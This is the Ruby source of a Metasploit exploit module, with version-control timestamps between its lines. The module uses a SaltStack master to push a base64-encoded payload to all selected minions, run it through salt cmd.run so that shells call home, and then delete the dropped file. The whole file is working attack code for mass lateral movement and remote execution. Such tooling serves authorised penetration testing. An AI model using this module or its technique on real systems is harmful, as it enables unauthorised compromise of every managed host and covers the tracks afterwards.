2023-12-16 10:13:46 -05:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf :: Exploit :: Local
Rank = GoodRanking
include Msf :: Post :: File
include Msf :: Exploit :: EXE
include Msf :: Exploit :: FileDropper
2023-12-23 13:52:52 -05:00
include Msf :: Exploit :: Local :: Saltstack
2023-12-16 10:13:46 -05:00
prepend Msf :: Exploit :: Remote :: AutoCheck
def initialize ( info = { } )
super (
update_info (
info ,
'Name' = > 'Saltstack Minion Payload Deployer' ,
'Description' = > %q{
This exploit module uses saltstack salt to deploy a payload and run it
on all targets which have been selected (default all).
Currently only works against nix targets.
} ,
'License' = > MSF_LICENSE ,
'Author' = > [
'h00die' , # msf module
'c2Vlcgo'
] ,
'Platform' = > [ 'linux' , 'unix' ] ,
'Stance' = > Msf :: Exploit :: Stance :: Passive ,
'Arch' = > [ ARCH_X86 , ARCH_X64 ] ,
'SessionTypes' = > [ 'shell' , 'meterpreter' ] ,
'Targets' = > [ [ 'Auto' , { } ] ] ,
'Privileged' = > true ,
'References' = > [ ] ,
'DisclosureDate' = > '2011-03-19' , # saltstack salt original release date
'DefaultTarget' = > 0 ,
'Passive' = > true , # this allows us to get multiple shells calling home
'Notes' = > {
'Stability' = > [ CRASH_SAFE ] ,
'Reliability' = > [ REPEATABLE_SESSION ] ,
'SideEffects' = > [ CONFIG_CHANGES , ARTIFACTS_ON_DISK ]
}
)
)
2023-12-17 15:24:56 -05:00
register_options [
2024-01-06 06:38:59 -05:00
OptString . new ( 'SALT' , [ true , 'salt-master executable location' , '' ] ) ,
2023-12-16 10:13:46 -05:00
OptString . new ( 'MINIONS' , [ true , 'Minions Target' , '*' ] ) ,
OptString . new ( 'WritableDir' , [ true , 'A directory where we can write files' , '/tmp' ] ) ,
2023-12-23 12:18:06 -05:00
OptString . new ( 'TargetWritableDir' , [ true , 'A directory where we can write and execute files on targets' , '/tmp' ] ) ,
2023-12-16 10:13:46 -05:00
OptBool . new ( 'CALCULATE' , [ true , 'Calculate how many boxes will be attempted' , true ] ) ,
OptInt . new ( 'ListenerTimeout' , [ false , 'The maximum number of seconds to wait for new sessions' , 60 ] ) ,
2023-12-23 12:18:06 -05:00
OptInt . new ( 'TIMEOUT' , [ true , 'Timeout for salt commands to run in seconds' , 120 ] )
2023-12-16 10:13:46 -05:00
]
end
def salt_master
return @salt if @salt
2024-01-10 17:04:03 -05:00
[ datastore [ 'SALT' ] , '/usr/bin/salt-master' , '/usr/local/bin/salt-master' ] . each do | exec |
2023-12-16 10:13:46 -05:00
next unless executable? ( exec )
@salt = exec
2024-01-10 17:19:58 -05:00
return @salt
2023-12-16 10:13:46 -05:00
end
@salt
end
2023-12-23 13:52:52 -05:00
def list_minions_printer
minions = list_minions
return if minions . nil?
2023-12-16 10:13:46 -05:00
tbl = Rex :: Text :: Table . new (
'Header' = > 'Minions List' ,
'Indent' = > 1 ,
'Columns' = > [ 'Status' , 'Minion Name' ]
)
2023-12-23 12:18:06 -05:00
count = 0
2023-12-16 10:13:46 -05:00
minions [ 'minions' ] . each do | minion |
tbl << [ 'Accepted' , minion ]
count += 1
end
print_good ( tbl . to_s )
2023-12-23 12:18:06 -05:00
# https://github.com/rapid7/metasploit-framework/pull/18626#discussion_r1434577017
print_good ( " #{ count } minions were found in the accepted state, and will attempt to execute payload. If this isn't an expected volume (too many), ctr+c to halt execution. Pausing 10 seconds. " )
2023-12-16 10:13:46 -05:00
Rex . sleep ( 10 )
2024-01-10 17:04:03 -05:00
count
2023-12-16 10:13:46 -05:00
end
def check
return CheckCode :: Safe ( 'salt-master does not seem to be installed, unable to find salt-master executable' ) if salt_master . nil?
2023-12-23 12:22:57 -05:00
CheckCode :: Vulnerable ( 'salt-master executable found' )
2023-12-16 10:13:46 -05:00
end
def exploit
# Make sure we can write our exploit and payload to the local system
fail_with Failure :: BadConfig , " #{ datastore [ 'WritableDir' ] } is not writable " unless writable? datastore [ 'WritableDir' ]
2024-01-10 17:04:03 -05:00
count = 1 # default to running if we decide not to calculate
count = list_minions_printer if datastore [ 'CALCULATE' ]
fail_with Failure :: NotFound , 'No exploitable minions found.' if count == 0
2023-12-16 10:13:46 -05:00
payload_name = rand_text_alphanumeric ( 5 .. 10 )
# due to a bug in older (2021) versions of salt-cp, we need to write ascii files. https://github.com/saltstack/salt/issues/59899
upload_and_chmodx " #{ datastore [ 'WritableDir' ] } / #{ payload_name } " , Rex :: Text . encode_base64 ( generate_payload_exe )
print_status ( 'Copying payload to minions' )
cmd_exec ( " salt-cp ' #{ datastore [ 'MINIONS' ] } ' ' #{ datastore [ 'WritableDir' ] } / #{ payload_name } ' ' #{ datastore [ 'TargetWritableDir' ] } / #{ payload_name } .b64' " )
print_status ( 'Executing payloads' )
cmd_exec ( " salt ' #{ datastore [ 'MINIONS' ] } ' cmd.run 'base64 -d #{ datastore [ 'TargetWritableDir' ] } / #{ payload_name } .b64 > #{ datastore [ 'TargetWritableDir' ] } / #{ payload_name } && chmod 755 #{ datastore [ 'TargetWritableDir' ] } / #{ payload_name } && #{ datastore [ 'TargetWritableDir' ] } / #{ payload_name } ' " )
# stolen from exploit/multi/handler
stime = Time . now . to_f
timeout = datastore [ 'ListenerTimeout' ] . to_i
loop do
break if timeout > 0 && ( stime + timeout < Time . now . to_f )
Rex :: ThreadSafe . sleep ( 1 )
end
end
def on_new_session ( _session )
2023-12-23 12:22:57 -05:00
super
2023-12-16 10:13:46 -05:00
cli . core . use ( 'stdapi' ) if ! cli . ext . aliases . include? ( 'stdapi' )
begin
print_warning ( " Deleting: #{ datastore [ 'TargetWritableDir' ] } / #{ payload_name } " )
cli . fs . file . rm ( " #{ datastore [ 'TargetWritableDir' ] } / #{ payload_name } " )
print_good ( " #{ datastore [ 'TargetWritableDir' ] } / #{ payload_name } removed " )
rescue StandardError
print_error ( " Unable to delete: #{ datastore [ 'TargetWritableDir' ] } / #{ payload_name } " )
end
end
end